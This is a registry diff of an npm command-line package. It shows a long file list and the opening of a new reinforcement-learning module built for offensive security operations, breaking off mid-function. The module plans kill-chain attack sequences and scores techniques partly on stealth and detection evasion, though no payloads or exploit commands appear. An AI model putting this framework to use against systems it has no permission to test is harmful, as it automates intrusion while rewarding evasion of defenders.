erosolar-cli 2.1.237 → 2.1.239
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +9 -0
- package/dist/contracts/tools.schema.json +3 -1
- package/dist/core/agent.d.ts.map +1 -1
- package/dist/core/agent.js +5 -1
- package/dist/core/agent.js.map +1 -1
- package/dist/core/agentOrchestrator.d.ts +4 -0
- package/dist/core/agentOrchestrator.d.ts.map +1 -1
- package/dist/core/agentOrchestrator.js +58 -6
- package/dist/core/agentOrchestrator.js.map +1 -1
- package/dist/core/autoExecutionOrchestrator.d.ts +172 -0
- package/dist/core/autoExecutionOrchestrator.d.ts.map +1 -0
- package/dist/core/autoExecutionOrchestrator.js +591 -0
- package/dist/core/autoExecutionOrchestrator.js.map +1 -0
- package/dist/core/contextManager.d.ts.map +1 -1
- package/dist/core/contextManager.js.map +1 -1
- package/dist/core/dualAgentOrchestrator.d.ts +34 -0
- package/dist/core/dualAgentOrchestrator.d.ts.map +1 -0
- package/dist/core/dualAgentOrchestrator.js +94 -0
- package/dist/core/dualAgentOrchestrator.js.map +1 -0
- package/dist/core/errors/safetyValidator.d.ts +25 -12
- package/dist/core/errors/safetyValidator.d.ts.map +1 -1
- package/dist/core/errors/safetyValidator.js +165 -17
- package/dist/core/errors/safetyValidator.js.map +1 -1
- package/dist/core/governmentProcedures.d.ts +118 -0
- package/dist/core/governmentProcedures.d.ts.map +1 -0
- package/dist/core/governmentProcedures.js +912 -0
- package/dist/core/governmentProcedures.js.map +1 -0
- package/dist/core/infrastructureTemplates.d.ts +123 -0
- package/dist/core/infrastructureTemplates.d.ts.map +1 -0
- package/dist/core/infrastructureTemplates.js +1326 -0
- package/dist/core/infrastructureTemplates.js.map +1 -0
- package/dist/core/orchestration.d.ts +534 -0
- package/dist/core/orchestration.d.ts.map +1 -0
- package/dist/core/orchestration.js +2009 -0
- package/dist/core/orchestration.js.map +1 -0
- package/dist/core/persistentObjectiveStore.d.ts +292 -0
- package/dist/core/persistentObjectiveStore.d.ts.map +1 -0
- package/dist/core/persistentObjectiveStore.js +613 -0
- package/dist/core/persistentObjectiveStore.js.map +1 -0
- package/dist/core/preferences.js +1 -1
- package/dist/core/preferences.js.map +1 -1
- package/dist/core/reliabilityPrompt.d.ts.map +1 -1
- package/dist/core/reliabilityPrompt.js +3 -0
- package/dist/core/reliabilityPrompt.js.map +1 -1
- package/dist/core/securityDeliverableGenerator.d.ts +292 -0
- package/dist/core/securityDeliverableGenerator.d.ts.map +1 -0
- package/dist/core/securityDeliverableGenerator.js +1590 -0
- package/dist/core/securityDeliverableGenerator.js.map +1 -0
- package/dist/core/taskCompletionDetector.d.ts.map +1 -1
- package/dist/core/taskCompletionDetector.js +4 -1
- package/dist/core/taskCompletionDetector.js.map +1 -1
- package/dist/shell/autoExecutor.d.ts.map +1 -1
- package/dist/shell/autoExecutor.js +32 -3
- package/dist/shell/autoExecutor.js.map +1 -1
- package/dist/shell/interactiveShell.d.ts +9 -0
- package/dist/shell/interactiveShell.d.ts.map +1 -1
- package/dist/shell/interactiveShell.js +282 -190
- package/dist/shell/interactiveShell.js.map +1 -1
- package/dist/tools/bashTools.d.ts +3 -5
- package/dist/tools/bashTools.d.ts.map +1 -1
- package/dist/tools/bashTools.js +259 -161
- package/dist/tools/bashTools.js.map +1 -1
- package/dist/tools/tao/index.d.ts +4 -4
- package/dist/tools/tao/index.d.ts.map +1 -1
- package/dist/tools/tao/index.js +15 -5
- package/dist/tools/tao/index.js.map +1 -1
- package/dist/tools/tao/rl.d.ts +164 -0
- package/dist/tools/tao/rl.d.ts.map +1 -0
- package/dist/tools/tao/rl.js +2998 -0
- package/dist/tools/tao/rl.js.map +1 -0
- package/dist/tools/taoTools.d.ts +2 -2
- package/dist/tools/taoTools.d.ts.map +1 -1
- package/dist/tools/taoTools.js +103 -20
- package/dist/tools/taoTools.js.map +1 -1
- package/dist/ui/PromptController.d.ts +3 -0
- package/dist/ui/PromptController.d.ts.map +1 -1
- package/dist/ui/PromptController.js +3 -0
- package/dist/ui/PromptController.js.map +1 -1
- package/dist/ui/UnifiedUIRenderer.d.ts +4 -0
- package/dist/ui/UnifiedUIRenderer.d.ts.map +1 -1
- package/dist/ui/UnifiedUIRenderer.js +37 -6
- package/dist/ui/UnifiedUIRenderer.js.map +1 -1
- package/dist/ui/display.d.ts +9 -1
- package/dist/ui/display.d.ts.map +1 -1
- package/dist/ui/display.js +66 -9
- package/dist/ui/display.js.map +1 -1
- package/dist/ui/shortcutsHelp.d.ts.map +1 -1
- package/dist/ui/shortcutsHelp.js +1 -0
- package/dist/ui/shortcutsHelp.js.map +1 -1
- package/package.json +3 -2
- package/dist/capabilities/askUserCapability.d.ts +0 -14
- package/dist/capabilities/askUserCapability.d.ts.map +0 -1
- package/dist/capabilities/askUserCapability.js +0 -134
- package/dist/capabilities/askUserCapability.js.map +0 -1
- package/dist/capabilities/codeGenerationCapability.d.ts +0 -13
- package/dist/capabilities/codeGenerationCapability.d.ts.map +0 -1
- package/dist/capabilities/codeGenerationCapability.js +0 -25
- package/dist/capabilities/codeGenerationCapability.js.map +0 -1
- package/dist/capabilities/performanceMonitoringCapability.d.ts +0 -108
- package/dist/capabilities/performanceMonitoringCapability.d.ts.map +0 -1
- package/dist/capabilities/performanceMonitoringCapability.js +0 -176
- package/dist/capabilities/performanceMonitoringCapability.js.map +0 -1
- package/dist/capabilities/todoCapability.d.ts +0 -19
- package/dist/capabilities/todoCapability.d.ts.map +0 -1
- package/dist/capabilities/todoCapability.js +0 -170
- package/dist/capabilities/todoCapability.js.map +0 -1
- package/dist/core/baseToolFactory.d.ts +0 -187
- package/dist/core/baseToolFactory.d.ts.map +0 -1
- package/dist/core/baseToolFactory.js +0 -352
- package/dist/core/baseToolFactory.js.map +0 -1
- package/dist/core/intelligentSummarizer.d.ts +0 -79
- package/dist/core/intelligentSummarizer.d.ts.map +0 -1
- package/dist/core/intelligentSummarizer.js +0 -273
- package/dist/core/intelligentSummarizer.js.map +0 -1
- package/dist/core/memorySystem.d.ts +0 -67
- package/dist/core/memorySystem.d.ts.map +0 -1
- package/dist/core/memorySystem.js +0 -334
- package/dist/core/memorySystem.js.map +0 -1
- package/dist/core/outputStyles.d.ts +0 -48
- package/dist/core/outputStyles.d.ts.map +0 -1
- package/dist/core/outputStyles.js +0 -270
- package/dist/core/outputStyles.js.map +0 -1
- package/dist/core/toolPatternAnalyzer.d.ts +0 -87
- package/dist/core/toolPatternAnalyzer.d.ts.map +0 -1
- package/dist/core/toolPatternAnalyzer.js +0 -272
- package/dist/core/toolPatternAnalyzer.js.map +0 -1
- package/dist/tools/backgroundBashTools.d.ts +0 -21
- package/dist/tools/backgroundBashTools.d.ts.map +0 -1
- package/dist/tools/backgroundBashTools.js +0 -215
- package/dist/tools/backgroundBashTools.js.map +0 -1
- package/dist/tools/code-quality-dashboard.d.ts +0 -57
- package/dist/tools/code-quality-dashboard.d.ts.map +0 -1
- package/dist/tools/code-quality-dashboard.js +0 -218
- package/dist/tools/code-quality-dashboard.js.map +0 -1
- package/dist/tools/tao/rlEngine.d.ts +0 -40
- package/dist/tools/tao/rlEngine.d.ts.map +0 -1
- package/dist/tools/tao/rlEngine.js +0 -237
- package/dist/tools/tao/rlEngine.js.map +0 -1
|
@@ -0,0 +1,2998 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Tao Tools - Unified Reinforcement Learning System
|
|
3
|
+
*
|
|
4
|
+
* Single consolidated RL module for offensive security operations.
|
|
5
|
+
* Combines dual-agent RL, technique registry, attack chain planning,
|
|
6
|
+
* and security-specific reward shaping.
|
|
7
|
+
*
|
|
8
|
+
* Architecture:
|
|
9
|
+
* - Dual-Agent System: Red (offensive) and Blue (defensive/validation) agents
|
|
10
|
+
* - UCB1 Multi-Armed Bandit for action selection
|
|
11
|
+
* - Softmax policy with temperature for exploration/exploitation
|
|
12
|
+
* - TD(λ) value updates with eligibility traces
|
|
13
|
+
* - Policy gradient (REINFORCE) for continuous learning
|
|
14
|
+
* - Modular technique registry with kill-chain alignment
|
|
15
|
+
* - Security-specific reward shaping (stealth, success, evasion)
|
|
16
|
+
*/
|
|
17
|
+
import { sessionState } from './sessionState.js';
|
|
18
|
+
import * as dns from 'node:dns/promises';
|
|
19
|
+
import * as net from 'node:net';
|
|
20
|
+
import * as https from 'node:https';
|
|
21
|
+
import * as http from 'node:http';
|
|
22
|
+
import { exec } from 'node:child_process';
|
|
23
|
+
import { promisify } from 'node:util';
|
|
24
|
+
const execAsync = promisify(exec);
|
|
25
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
26
|
+
// Global Dual-Agent RL State
|
|
27
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
28
|
+
export const dualAgentRL = {
|
|
29
|
+
red: {
|
|
30
|
+
weights: new Map(),
|
|
31
|
+
bias: new Map(),
|
|
32
|
+
temperature: 1.0,
|
|
33
|
+
learningRate: 0.01,
|
|
34
|
+
},
|
|
35
|
+
blue: {
|
|
36
|
+
weights: new Map(),
|
|
37
|
+
bias: new Map(),
|
|
38
|
+
temperature: 1.0,
|
|
39
|
+
learningRate: 0.01,
|
|
40
|
+
},
|
|
41
|
+
sharedMemory: new Map(),
|
|
42
|
+
episode: 0,
|
|
43
|
+
stepCount: 0,
|
|
44
|
+
rewardHistory: [],
|
|
45
|
+
valueEstimates: new Map(),
|
|
46
|
+
};
|
|
47
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
48
|
+
// UCB1 Multi-Armed Bandit
|
|
49
|
+
// Formula: argmax[Q(a) + c * √(ln(N) / N(a))]
|
|
50
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
51
|
+
export function ucb1Select(actions, qValues, counts, totalCount, c = Math.SQRT2) {
|
|
52
|
+
let bestAction = actions[0] || 'default';
|
|
53
|
+
let bestUcb = -Infinity;
|
|
54
|
+
for (const action of actions) {
|
|
55
|
+
const q = qValues.get(action) || 0;
|
|
56
|
+
const n = counts.get(action) || 0;
|
|
57
|
+
if (n === 0)
|
|
58
|
+
return action; // Explore unvisited
|
|
59
|
+
const exploitation = q;
|
|
60
|
+
const exploration = c * Math.sqrt(Math.log(totalCount) / n);
|
|
61
|
+
const ucb = exploitation + exploration;
|
|
62
|
+
if (ucb > bestUcb) {
|
|
63
|
+
bestUcb = ucb;
|
|
64
|
+
bestAction = action;
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
return bestAction;
|
|
68
|
+
}
|
|
69
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
70
|
+
// Softmax Policy with Temperature
|
|
71
|
+
// π(a|s) = exp(Q(s,a)/τ) / Σ exp(Q(s,a')/τ)
|
|
72
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
73
|
+
export function softmaxPolicy(qValues, temperature) {
|
|
74
|
+
const actions = Object.keys(qValues);
|
|
75
|
+
const maxQ = Math.max(...Object.values(qValues), 0);
|
|
76
|
+
const expValues = {};
|
|
77
|
+
let sumExp = 0;
|
|
78
|
+
for (const action of actions) {
|
|
79
|
+
const expV = Math.exp(((qValues[action] || 0) - maxQ) / temperature);
|
|
80
|
+
expValues[action] = expV;
|
|
81
|
+
sumExp += expV;
|
|
82
|
+
}
|
|
83
|
+
const policy = {};
|
|
84
|
+
for (const action of actions) {
|
|
85
|
+
policy[action] = (expValues[action] || 0) / (sumExp || 1);
|
|
86
|
+
}
|
|
87
|
+
return policy;
|
|
88
|
+
}
|
|
89
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
90
|
+
// TD(λ) Value Update with Eligibility Traces
|
|
91
|
+
// V(s) ← V(s) + α * δ * e(s)
|
|
92
|
+
// δ = r + γ * V(s') - V(s)
|
|
93
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
94
|
+
export function tdLambdaUpdate(agent, state, reward, nextState, valueEstimates, gamma = 0.99, lambda = 0.9) {
|
|
95
|
+
const v = valueEstimates.get(state) || 0;
|
|
96
|
+
const vNext = valueEstimates.get(nextState) || 0;
|
|
97
|
+
const tdError = reward + gamma * vNext - v;
|
|
98
|
+
// Update with eligibility trace decay
|
|
99
|
+
const eligibility = agent.weights.get('_eligibility') || [];
|
|
100
|
+
const newEligibility = eligibility.map(e => gamma * lambda * e);
|
|
101
|
+
newEligibility.push(1.0); // Current state trace
|
|
102
|
+
agent.weights.set('_eligibility', newEligibility.slice(-100));
|
|
103
|
+
// Apply update
|
|
104
|
+
valueEstimates.set(state, v + agent.learningRate * tdError);
|
|
105
|
+
}
|
|
106
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
107
|
+
// Policy Gradient (REINFORCE)
|
|
108
|
+
// ∇θ J(θ) = E[∇θ log π(a|s;θ) * R]
|
|
109
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
110
|
+
export function policyGradientUpdate(agent, action, reward, baseline = 0) {
|
|
111
|
+
const weights = agent.weights.get(action) || [0];
|
|
112
|
+
const advantage = reward - baseline;
|
|
113
|
+
// Update weights in direction of gradient
|
|
114
|
+
const updatedWeights = weights.map((w, _i) => {
|
|
115
|
+
const grad = advantage * (1 - (agent.bias.get(action) || 0.5));
|
|
116
|
+
return w + agent.learningRate * grad;
|
|
117
|
+
});
|
|
118
|
+
agent.weights.set(action, updatedWeights);
|
|
119
|
+
// Update bias term
|
|
120
|
+
const currentBias = agent.bias.get(action) || 0.5;
|
|
121
|
+
agent.bias.set(action, Math.max(0.01, Math.min(0.99, currentBias + agent.learningRate * advantage * 0.1)));
|
|
122
|
+
}
|
|
123
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
124
|
+
// RL Context Creation
|
|
125
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
126
|
+
export function createRLContext(toolName, action, params) {
|
|
127
|
+
return {
|
|
128
|
+
toolName,
|
|
129
|
+
action,
|
|
130
|
+
params,
|
|
131
|
+
startTime: Date.now(),
|
|
132
|
+
};
|
|
133
|
+
}
|
|
134
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
135
|
+
// Generic Reward Computation
|
|
136
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
137
|
+
export function computeReward(context, result, success) {
|
|
138
|
+
const elapsed = Date.now() - context.startTime;
|
|
139
|
+
const components = {
|
|
140
|
+
success: success ? 0.5 : -0.3,
|
|
141
|
+
efficiency: Math.max(0, 1 - elapsed / 10000) * 0.2,
|
|
142
|
+
novelty: Math.random() * 0.1,
|
|
143
|
+
depth: (context.params['depth'] || 1) * 0.05,
|
|
144
|
+
};
|
|
145
|
+
if (typeof result === 'string') {
|
|
146
|
+
components['richness'] = Math.min(result.length / 1000, 0.3);
|
|
147
|
+
}
|
|
148
|
+
else if (typeof result === 'object' && result !== null) {
|
|
149
|
+
components['structure'] = Object.keys(result).length * 0.02;
|
|
150
|
+
}
|
|
151
|
+
const value = Object.values(components).reduce((a, b) => a + b, 0);
|
|
152
|
+
return {
|
|
153
|
+
value: Math.max(-1, Math.min(1, value)),
|
|
154
|
+
components,
|
|
155
|
+
sparse: success && elapsed < 1000,
|
|
156
|
+
};
|
|
157
|
+
}
|
|
158
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
159
|
+
// Security-Specific Reward Shaping
|
|
160
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
161
|
+
export function computeSecurityReward(params) {
|
|
162
|
+
const { techniqueId, result, intent, executionResult, chainProgress } = params;
|
|
163
|
+
const technique = techniqueRegistry.get(techniqueId);
|
|
164
|
+
const components = {};
|
|
165
|
+
// Core Success
|
|
166
|
+
components['success'] = result.success ? 0.4 : -0.3;
|
|
167
|
+
// Stealth
|
|
168
|
+
if (intent.constraints.includes('stealth')) {
|
|
169
|
+
const stealthScore = 1 - result.detectionRisk;
|
|
170
|
+
components['stealth'] = stealthScore * 0.25;
|
|
171
|
+
if (technique) {
|
|
172
|
+
components['stealth_technique'] = technique.stealthRating * 0.1;
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
// Efficiency
|
|
176
|
+
if (technique && result.duration > 0) {
|
|
177
|
+
const efficiencyRatio = Math.min(technique.timeEstimate / result.duration, 2);
|
|
178
|
+
components['efficiency'] = (efficiencyRatio - 1) * 0.15;
|
|
179
|
+
}
|
|
180
|
+
// Intelligence Gathering
|
|
181
|
+
components['intelligence'] = Math.min(result.artifacts.length * 0.05, 0.2);
|
|
182
|
+
// Chain Progress
|
|
183
|
+
components['chain_progress'] = chainProgress * 0.2;
|
|
184
|
+
// Verification Confidence
|
|
185
|
+
components['verification'] = (executionResult.confidence - 0.5) * 0.2;
|
|
186
|
+
// Technique Chaining
|
|
187
|
+
if (result.nextTechniques.length > 0) {
|
|
188
|
+
components['chaining'] = Math.min(result.nextTechniques.length * 0.03, 0.15);
|
|
189
|
+
}
|
|
190
|
+
// Risk Penalty
|
|
191
|
+
if (result.detectionRisk > 0.7) {
|
|
192
|
+
components['risk_penalty'] = -0.15 * result.detectionRisk;
|
|
193
|
+
}
|
|
194
|
+
const value = Object.values(components).reduce((a, b) => a + b, 0);
|
|
195
|
+
return {
|
|
196
|
+
value: Math.max(-1, Math.min(1, value)),
|
|
197
|
+
components,
|
|
198
|
+
sparse: result.success && chainProgress >= 1.0,
|
|
199
|
+
};
|
|
200
|
+
}
|
|
201
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
202
|
+
// Dual Agent Update
|
|
203
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
204
|
+
export function updateDualAgents(context, reward) {
|
|
205
|
+
dualAgentRL.stepCount++;
|
|
206
|
+
dualAgentRL.rewardHistory.push(reward.value);
|
|
207
|
+
if (dualAgentRL.rewardHistory.length > 1000) {
|
|
208
|
+
dualAgentRL.rewardHistory.shift();
|
|
209
|
+
}
|
|
210
|
+
const baseline = dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) /
|
|
211
|
+
dualAgentRL.rewardHistory.length;
|
|
212
|
+
// RED agent (offensive - seeks high reward)
|
|
213
|
+
policyGradientUpdate(dualAgentRL.red, context.action, reward.value, baseline);
|
|
214
|
+
// BLUE agent (defensive - penalizes risky actions)
|
|
215
|
+
const blueReward = (reward.components['success'] || 0) - (reward.components['novelty'] || 0) * 2;
|
|
216
|
+
policyGradientUpdate(dualAgentRL.blue, context.action, blueReward, baseline);
|
|
217
|
+
// TD update
|
|
218
|
+
const stateKey = `${context.toolName}:${context.action}`;
|
|
219
|
+
const nextStateKey = `${context.toolName}:next`;
|
|
220
|
+
tdLambdaUpdate(dualAgentRL.red, stateKey, reward.value, nextStateKey, dualAgentRL.valueEstimates);
|
|
221
|
+
// Temperature annealing
|
|
222
|
+
dualAgentRL.red.temperature = Math.max(0.1, dualAgentRL.red.temperature * 0.999);
|
|
223
|
+
dualAgentRL.blue.temperature = Math.max(0.1, dualAgentRL.blue.temperature * 0.999);
|
|
224
|
+
// Compute policies
|
|
225
|
+
const redQ = {};
|
|
226
|
+
const blueQ = {};
|
|
227
|
+
for (const [action, weights] of dualAgentRL.red.weights) {
|
|
228
|
+
if (!action.startsWith('_')) {
|
|
229
|
+
redQ[action] = weights.reduce((a, b) => a + b, 0);
|
|
230
|
+
}
|
|
231
|
+
}
|
|
232
|
+
for (const [action, weights] of dualAgentRL.blue.weights) {
|
|
233
|
+
if (!action.startsWith('_')) {
|
|
234
|
+
blueQ[action] = weights.reduce((a, b) => a + b, 0);
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
return {
|
|
238
|
+
redPolicy: softmaxPolicy(redQ, dualAgentRL.red.temperature),
|
|
239
|
+
bluePolicy: softmaxPolicy(blueQ, dualAgentRL.blue.temperature),
|
|
240
|
+
};
|
|
241
|
+
}
|
|
242
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
243
|
+
// RL-Enhanced Tool Executor
|
|
244
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
245
|
+
export async function executeWithRL(toolName, action, params, executor) {
|
|
246
|
+
const context = createRLContext(toolName, action, params);
|
|
247
|
+
let result;
|
|
248
|
+
let success = true;
|
|
249
|
+
try {
|
|
250
|
+
result = await executor();
|
|
251
|
+
}
|
|
252
|
+
catch (e) {
|
|
253
|
+
success = false;
|
|
254
|
+
result = { error: String(e) };
|
|
255
|
+
}
|
|
256
|
+
const reward = computeReward(context, result, success);
|
|
257
|
+
const policies = updateDualAgents(context, reward);
|
|
258
|
+
return {
|
|
259
|
+
result,
|
|
260
|
+
rl: {
|
|
261
|
+
reward,
|
|
262
|
+
policies: {
|
|
263
|
+
red: policies.redPolicy,
|
|
264
|
+
blue: policies.bluePolicy,
|
|
265
|
+
},
|
|
266
|
+
},
|
|
267
|
+
};
|
|
268
|
+
}
|
|
269
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
270
|
+
// RL State Visualization
|
|
271
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
272
|
+
export function getRLState() {
|
|
273
|
+
const avgReward = dualAgentRL.rewardHistory.length > 0
|
|
274
|
+
? dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) / dualAgentRL.rewardHistory.length
|
|
275
|
+
: 0;
|
|
276
|
+
const topActions = [];
|
|
277
|
+
const allActions = new Set([...dualAgentRL.red.weights.keys(), ...dualAgentRL.blue.weights.keys()]);
|
|
278
|
+
for (const action of allActions) {
|
|
279
|
+
if (action.startsWith('_'))
|
|
280
|
+
continue;
|
|
281
|
+
const redW = (dualAgentRL.red.weights.get(action) || [0]).reduce((a, b) => a + b, 0);
|
|
282
|
+
const blueW = (dualAgentRL.blue.weights.get(action) || [0]).reduce((a, b) => a + b, 0);
|
|
283
|
+
topActions.push({ action, redWeight: redW, blueWeight: blueW });
|
|
284
|
+
}
|
|
285
|
+
topActions.sort((a, b) => Math.abs(b.redWeight) - Math.abs(a.redWeight));
|
|
286
|
+
return {
|
|
287
|
+
episode: dualAgentRL.episode,
|
|
288
|
+
steps: dualAgentRL.stepCount,
|
|
289
|
+
avgReward,
|
|
290
|
+
redTemperature: dualAgentRL.red.temperature,
|
|
291
|
+
blueTemperature: dualAgentRL.blue.temperature,
|
|
292
|
+
topActions: topActions.slice(0, 10),
|
|
293
|
+
};
|
|
294
|
+
}
|
|
295
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
296
|
+
// Technique Registry
|
|
297
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
298
|
+
class TechniqueRegistry {
|
|
299
|
+
techniques = new Map();
|
|
300
|
+
categoryIndex = new Map();
|
|
301
|
+
phaseIndex = new Map();
|
|
302
|
+
successRates = new Map();
|
|
303
|
+
register(technique) {
|
|
304
|
+
this.techniques.set(technique.id, technique);
|
|
305
|
+
if (!this.categoryIndex.has(technique.category)) {
|
|
306
|
+
this.categoryIndex.set(technique.category, new Set());
|
|
307
|
+
}
|
|
308
|
+
this.categoryIndex.get(technique.category).add(technique.id);
|
|
309
|
+
if (!this.phaseIndex.has(technique.phase)) {
|
|
310
|
+
this.phaseIndex.set(technique.phase, new Set());
|
|
311
|
+
}
|
|
312
|
+
this.phaseIndex.get(technique.phase).add(technique.id);
|
|
313
|
+
this.successRates.set(technique.id, { attempts: 0, successes: 0 });
|
|
314
|
+
}
|
|
315
|
+
get(id) {
|
|
316
|
+
return this.techniques.get(id);
|
|
317
|
+
}
|
|
318
|
+
getByCategory(category) {
|
|
319
|
+
const ids = this.categoryIndex.get(category) || new Set();
|
|
320
|
+
return Array.from(ids).map(id => this.techniques.get(id)).filter(Boolean);
|
|
321
|
+
}
|
|
322
|
+
getByPhase(phase) {
|
|
323
|
+
const ids = this.phaseIndex.get(phase) || new Set();
|
|
324
|
+
return Array.from(ids).map(id => this.techniques.get(id)).filter(Boolean);
|
|
325
|
+
}
|
|
326
|
+
getCompatible(currentTechniques) {
|
|
327
|
+
const conflicts = new Set();
|
|
328
|
+
for (const techId of currentTechniques) {
|
|
329
|
+
const tech = this.techniques.get(techId);
|
|
330
|
+
if (tech) {
|
|
331
|
+
tech.conflictsWith.forEach(c => conflicts.add(c));
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
return Array.from(this.techniques.values()).filter(t => {
|
|
335
|
+
if (conflicts.has(t.id))
|
|
336
|
+
return false;
|
|
337
|
+
return t.prerequisites.every(p => currentTechniques.includes(p));
|
|
338
|
+
});
|
|
339
|
+
}
|
|
340
|
+
recordOutcome(techniqueId, success) {
|
|
341
|
+
const stats = this.successRates.get(techniqueId);
|
|
342
|
+
if (stats) {
|
|
343
|
+
stats.attempts++;
|
|
344
|
+
if (success)
|
|
345
|
+
stats.successes++;
|
|
346
|
+
}
|
|
347
|
+
}
|
|
348
|
+
getSuccessRate(techniqueId) {
|
|
349
|
+
const stats = this.successRates.get(techniqueId);
|
|
350
|
+
if (!stats || stats.attempts === 0) {
|
|
351
|
+
return this.techniques.get(techniqueId)?.successBaseline || 0.5;
|
|
352
|
+
}
|
|
353
|
+
return stats.successes / stats.attempts;
|
|
354
|
+
}
|
|
355
|
+
list() {
|
|
356
|
+
return Array.from(this.techniques.values());
|
|
357
|
+
}
|
|
358
|
+
}
|
|
359
|
+
export const techniqueRegistry = new TechniqueRegistry();
|
|
360
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
361
|
+
// Attack Chain Planning
|
|
362
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
363
|
+
const activeChains = new Map();
|
|
364
|
+
export function planAttackChain(intent, objective) {
|
|
365
|
+
const chainId = `chain_${Date.now()}_${Math.random().toString(36).slice(2, 8)}`;
|
|
366
|
+
const phaseSequence = getPhaseSequence(intent.action);
|
|
367
|
+
const phases = phaseSequence.map((phase, index) => {
|
|
368
|
+
const availableTechniques = techniqueRegistry.getByPhase(phase);
|
|
369
|
+
const filtered = availableTechniques.filter(t => {
|
|
370
|
+
if (intent.constraints.includes('stealth') && t.stealthRating < 0.6)
|
|
371
|
+
return false;
|
|
372
|
+
if (intent.constraints.includes('non-destructive') && t.category === 'exploitation')
|
|
373
|
+
return false;
|
|
374
|
+
return true;
|
|
375
|
+
});
|
|
376
|
+
return {
|
|
377
|
+
index,
|
|
378
|
+
techniques: filtered.map(t => t.id),
|
|
379
|
+
completed: false,
|
|
380
|
+
rlScore: 0,
|
|
381
|
+
};
|
|
382
|
+
});
|
|
383
|
+
const chain = {
|
|
384
|
+
id: chainId,
|
|
385
|
+
name: `${intent.action}_${intent.targets[0] || 'target'}`,
|
|
386
|
+
objective,
|
|
387
|
+
phases,
|
|
388
|
+
currentPhase: 0,
|
|
389
|
+
state: 'planning',
|
|
390
|
+
startTime: Date.now(),
|
|
391
|
+
outcomes: [],
|
|
392
|
+
};
|
|
393
|
+
activeChains.set(chainId, chain);
|
|
394
|
+
sessionState.set(`chain:${chainId}`, chain);
|
|
395
|
+
return chain;
|
|
396
|
+
}
|
|
397
|
+
function getPhaseSequence(action) {
|
|
398
|
+
switch (action) {
|
|
399
|
+
case 'recon':
|
|
400
|
+
return ['reconnaissance'];
|
|
401
|
+
case 'scan':
|
|
402
|
+
return ['reconnaissance', 'weaponization'];
|
|
403
|
+
case 'enumerate':
|
|
404
|
+
return ['reconnaissance', 'weaponization'];
|
|
405
|
+
case 'exploit':
|
|
406
|
+
return ['reconnaissance', 'weaponization', 'delivery', 'exploitation'];
|
|
407
|
+
case 'extract':
|
|
408
|
+
return ['reconnaissance', 'exploitation', 'actions-on-objectives'];
|
|
409
|
+
case 'test':
|
|
410
|
+
return ['reconnaissance', 'weaponization', 'delivery'];
|
|
411
|
+
case 'monitor':
|
|
412
|
+
return ['reconnaissance', 'command-control'];
|
|
413
|
+
default:
|
|
414
|
+
return ['reconnaissance'];
|
|
415
|
+
}
|
|
416
|
+
}
|
|
417
|
+
export function selectNextTechnique(chain) {
|
|
418
|
+
if (chain.currentPhase >= chain.phases.length) {
|
|
419
|
+
return null;
|
|
420
|
+
}
|
|
421
|
+
const phase = chain.phases[chain.currentPhase];
|
|
422
|
+
if (!phase || phase.techniques.length === 0) {
|
|
423
|
+
return null;
|
|
424
|
+
}
|
|
425
|
+
const executedTechniques = chain.phases
|
|
426
|
+
.filter(p => p.completed && p.selectedTechnique)
|
|
427
|
+
.map(p => p.selectedTechnique);
|
|
428
|
+
const compatible = phase.techniques.filter(techId => {
|
|
429
|
+
const tech = techniqueRegistry.get(techId);
|
|
430
|
+
if (!tech)
|
|
431
|
+
return false;
|
|
432
|
+
return tech.prerequisites.every(p => executedTechniques.includes(p));
|
|
433
|
+
});
|
|
434
|
+
if (compatible.length === 0) {
|
|
435
|
+
return null;
|
|
436
|
+
}
|
|
437
|
+
const qValues = new Map();
|
|
438
|
+
const counts = new Map();
|
|
439
|
+
for (const techId of compatible) {
|
|
440
|
+
const rlValue = dualAgentRL.valueEstimates.get(`technique:${techId}`) || 0;
|
|
441
|
+
const successRate = techniqueRegistry.getSuccessRate(techId);
|
|
442
|
+
const technique = techniqueRegistry.get(techId);
|
|
443
|
+
const stealthBonus = technique ? technique.stealthRating * 0.2 : 0;
|
|
444
|
+
qValues.set(techId, rlValue * 0.4 + successRate * 0.4 + stealthBonus * 0.2);
|
|
445
|
+
counts.set(techId, dualAgentRL.sharedMemory.get(`count:${techId}`) || 0);
|
|
446
|
+
}
|
|
447
|
+
const selectedId = ucb1Select(compatible, qValues, counts, dualAgentRL.stepCount + 1, 1.5);
|
|
448
|
+
const qRecord = {};
|
|
449
|
+
qValues.forEach((v, k) => { qRecord[k] = v; });
|
|
450
|
+
const policy = softmaxPolicy(qRecord, dualAgentRL.red.temperature);
|
|
451
|
+
return {
|
|
452
|
+
id: selectedId,
|
|
453
|
+
